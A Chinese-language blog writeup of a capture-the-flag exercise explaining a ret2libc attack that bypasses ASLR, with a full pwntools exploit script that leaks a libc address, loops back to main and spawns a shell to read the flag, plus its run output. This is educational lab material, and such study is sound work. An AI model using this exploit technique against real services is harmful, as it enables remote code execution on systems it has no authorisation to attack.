Yuawn Pwn2 ret2libc Writeup

kazma 成大資安社 創辦人/社長

ret2libc

基本上每個新的技術就是為了解決一個新的保護機制,那 ret2libc 主要就是能 bypass ASLR,那廢話不多說我們來整理一下這次的計畫:

source code 基本上和上一題 ret2plt 差不多,但這次沒有 system 的 plt 可以 call,我們只好從 library 拿,那就必須知道 ASLR 所加上的 libc_base 是多少,知道以後再加上我們想要 call 的 function 的 offset 就是實際對應 function pointer 的位置。

  1. 那首先我們 call puts 的 plt 去印出 libc_start_main 的 got,之所以選擇 libc_start_main 是因為我們需要確保在 call 的時候 got 已經被 resolve 過,而 libc_start_main 會比 main 還要早被執行,所以是個很好的目標,拿到後再減掉 offset 就拿到 libc_base 了。
  2. 再來我們需要在拿到 base 的同一次攻擊中去呼叫 system,而我們的做法就是跳回 main 再重新 overflow 來送出我們的第二次 payload。
  3. 再來就是基本的 rop,值得注意的是有 libc_base 之後,就可以用工具來幫我們找 ‘/bin/sh’ 字串和 system 的位置,詳情請見 exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = 'amd64'
l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
r = remote('10.129.0.67', 10175)

libc_start_main_got = 0x0000000000600ff0
libc_start_main_offset = 0x0000000000021ba0
pop_rdi = 0x0000000000400733
puts_plt = 0x0000000000400520
main = 0x0000000000400698
ret = 0x0000000000400506

p = flat(
b'a'*0x38,
pop_rdi,
libc_start_main_got,
puts_plt,
main
)

r.sendlineafter(b':D', p)
r.recvline()
l.address = u64( r.recv(6) + b'\0\0') - libc_start_main_offset
success('libc_base -> %s' % hex(l.address))

p2 = flat(
b'a'*0x38,
ret,
pop_rdi,
l.search('/bin/sh').next(),
l.sym.system
)

r.sendlineafter(b':D', p2)
r.sendline('cat /home/`whoami`/flag')
r.interactive()

執行結果:

1
2
3
4
5
6
7
8
9
10
11
12
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.129.0.67 on port 10175: Done
[+] libc_base -> 0x7ff99a358000
[*] Switching to interactive mode

FLAG{ret21ibc_15_p0werfu1}

Pwned !!!

  • Title: Yuawn Pwn2 ret2libc Writeup
  • Author: kazma
  • Created at : 2023-12-18 00:22:18
  • Updated at : 2023-12-18 16:10:49
  • Link: https://kazma.tw/2023/12/18/Yuawn-Pwn2-ret2libc-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Yuawn Pwn2 ret2libc Writeup